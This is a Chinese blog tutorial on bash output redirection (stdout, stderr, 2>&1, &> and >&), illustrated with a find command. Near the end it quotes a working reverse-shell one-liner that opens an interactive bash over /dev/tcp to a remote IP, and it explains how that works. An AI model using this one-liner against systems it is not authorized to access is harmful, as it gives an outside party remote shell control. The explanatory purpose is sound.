cnblogs原創
下面幾種bash重定向各表示什么意思?
1 find / -name passwd > /dev/null 2 find / -name passwd > /dev/null 2>&1 3 find / -name passwd 2> /dev/null 4 find / -name passwd &> /dev/null 5 find / -name passwd >& /dev/null
上面有5種重定向,分別表示:
1. 將find結果重定向到 /dev/null,這個find結果指的是標准輸出,不含標准錯誤,比如以非root用戶身份運行這個命令時,可能會遇到這樣問題,如下:
其中有的是查找到了,有的報錯,對應正常查找到的是標准輸出,而報錯則是標准錯誤。標准輸出與標准錯誤都是向屏幕輸出,區別是有無緩沖,標准錯誤是不帶緩沖的。
這個最終結果是僅輸出find錯誤結果。
2. 將find結果(標准輸出)重定向到 /dev/null,同時將標准錯誤重定向到標准輸出。在Linux中,內核默認為每個進程打開3個描述符(標准錯誤2、標准輸出1、標准輸入0)。
這個最終結果是什么都不輸出。
3. 將find結果(標准錯誤)重定向到 /dev/null,不含標准輸出。
這個最終結果是只輸出正常結果,不輸出錯誤結果。
4/5. 這兩個是相同的,只是不同寫法,>&和&>完全相同,它們對位置先后無要求。將find結果(標准輸出)重定向到 /dev/null,同時將標准錯誤重定向到標准輸出。>&或者&>等同於> /dev/null 2>&1。為什么會有這種寫法?大概原因是bash對csh進行兼容導致的,因為csh的標准輸出和標准錯誤重定向是這種寫法。
其實這些在bash manual手冊中都是有說明的:
另外,網上有給出一個反彈shell,如下:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
重定向語法上面已經解釋清楚,這里無非是多了個標准輸入的重定向。
使用ls命令發現/dev下面並沒有這個tcp目錄或者文件,這里的/dev/tcp/10.0.0.1/8000又是什么?同樣在bash的manual中有說明,如下:
從手冊中可以看到/dev/tcp/10.0.0.1/8000是bash重定向時,一些特殊的文件而已,ls自然看不到的。
PS: 准備在閑暇之余用C++寫個反彈shell練手的,遂有了這篇文章。但寫完這篇文章之后,發現網上已經有人寫過類似的( https://www.anquanke.com/post/id/85712 ),不過沒有解釋/dev/tcp/host/port是怎么回事,文章就不刪了,留作補充說明吧。